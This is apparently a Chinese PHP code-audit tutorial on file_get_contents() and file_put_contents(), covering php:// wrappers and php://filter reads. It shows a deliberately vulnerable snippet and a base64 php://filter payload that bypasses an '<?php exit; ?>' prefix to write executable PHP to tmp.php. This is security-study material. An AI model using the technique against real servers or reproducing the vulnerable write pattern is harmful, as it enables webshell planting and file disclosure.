php程式碼審計-file_get_contents()&file_put_contents()
阿新 • • 發佈:2020-10-26
file_get_contents()
https://www.php.net/function.file-get-contents
只需要瞭解filename即可
- filename可以是簡單的一個檔案path,相對路徑或者絕對路徑
<?php
// <= PHP 5
$file = file_get_contents('./people.txt', true);
// > PHP 5
$file = file_get_contents('./people.txt', FILE_USE_INCLUDE_PATH);
?>
很顯然它的返回值是讀取檔案的內容
- filename也可以是一個url
如:
- filename也可以是一個偽協議形式的:
如:
echo file_get_contents('php://input');
或者
echo file_get_contents('php://filter/read=convert.base64-encode/resource=test.txt');
file_put_contents()
直接看使用例項:
- 直接向檔案寫入內容(filename為檔案路徑)
<?php $file = 'people.txt'; // Open the file to get existing content $current = file_get_contents($file); // Append a new person to the file $current .= "John Smith\n"; // Write the contents back to the file file_put_contents($file, $current); ?>
- 和file_get_contents()類似的,file_put_contents()的filename引數也可以用PHP偽協議來修飾,以控制寫入檔案內容的格式等
eg1:
file_put_contents('php://filter/write=convert.base64-encode/resource=tmp.php',"123456");
然後tmp.php裡面
其中 MTIzNDU2=base64_encode("123456")
eg2:
<?php file_put_contents('php://filter/write=convert.base64-decode/resource=tmp.php',"MTIzNDU2"); ?>
繞過死亡exit()
如下程式碼:
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
$content在開頭增加了exit過程,導致即使我們成功寫入一句話,也執行不了
這裡就可以利用file_put_contents()filename引數可以用偽協議過濾的特性:
比如可以傳入引數:
filename=php://filter/write=convert.base64-decode/resource=tmp.php&txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==
//PD9waHAgcGhwaW5mbygpOyA/Pg== 是<?php phpinfo(); ?>的base64
訪問tmp.php
原理可以參考 https://www.leavesongs.com/PENETRATION/php-filter-magic.html,這篇文章裡面還有一些別的姿勢也可以參考